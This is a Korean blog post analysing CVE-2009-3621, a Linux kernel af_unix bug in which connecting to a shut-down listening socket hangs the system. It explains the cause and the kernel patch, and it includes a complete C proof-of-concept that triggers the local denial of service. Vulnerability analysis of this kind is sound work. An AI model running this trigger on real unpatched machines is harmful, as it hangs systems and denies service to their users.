CVE-2009-3621 : unix_socket 커널 버그

이버그는 af_unix 소켓을 이용해서 사용자가 SHUT_RDWR 모드로 shutdown 을 한다음 강제로 connect을 호출하면 현재 머신의 cpu 갯수만큼 접속이 되었다가 hang이 걸리는 문제이다.

자세한 사항은 다음을 참조하기 바란다. http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commitdiff;h=77238f2b942b38ab4e7f3aced44084493e4a8675;hp=50c54a57dfbd392e17f1473717b8e125afcb01a3

exploit code :

int main(void)
{
    int ret;
    int csd;
    int lsd;
    struct sockaddr_un sun;

   /* make an abstruct name address (*) */
   memset(&sun, 0, sizeof(sun));
   sun.sun_family = PF_UNIX;
   sprintf(&sun.sun_path[1], "%d", getpid());

   /* create the listening socket and shutdown */
   lsd = socket(AF_UNIX, SOCK_STREAM, 0);
   bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
   listen(lsd, 1);
   shutdown(lsd, SHUT_RDWR);

   /* connect loop */
   alarm(15); /* forcely exit the loop after 15 sec */
   for (;;) {
     csd = socket(AF_UNIX, SOCK_STREAM, 0);
     ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
     if (-1 == ret) {
        perror("connect()");
        break;
     }
     puts("Connection OK");
   }
   return 0;
}

그럼, 이버그의 패치파일이다.

@@ -1074,6 +1074,8 @@ restart:
        err = -ECONNREFUSED;
        if (other->sk_state != TCP_LISTEN)
                goto out_unlock;
+       if (other->sk_shutdown & RCV_SHUTDOWN)
+               goto out_unlock;
 
        if (unix_recvq_full(other)) {
                err = -EAGAIN;

위에서 보면 sk_shutdown 에서 RCV_SHUTDOWN 이 마킹됬는지를 체크한다.

다음은 af_unix의 shutdown syscall인 unix_shutdown 의 일부이다.

if (other && (sk->sk_type == SOCK_STREAM || sk->sk_type == SOCK_SEQPACKET)) {
         int peer_mode = 0;
         if (mode&RCV_SHUTDOWN)
                 peer_mode |= SEND_SHUTDOWN;
         if (mode&SEND_SHUTDOWN)
                 peer_mode |= RCV_SHUTDOWN;
         unix_state_lock(other);
         other->sk_shutdown |= peer_mode;
         unix_state_unlock(other);
소스를 보면 shutdown시 mode로 받은 값을 sk_shutdown으로 마킹을 하고있다.
그리고 위의 패치를 보면 이 마킹을 체크해서 connetc을 더이상 실행하지 않고 종료하는 패치이다.

by namjja | 2009/12/16 14:30 | security | 트랙백 | 덧글(0)

◀ 이전 페이지          다음 페이지 ▶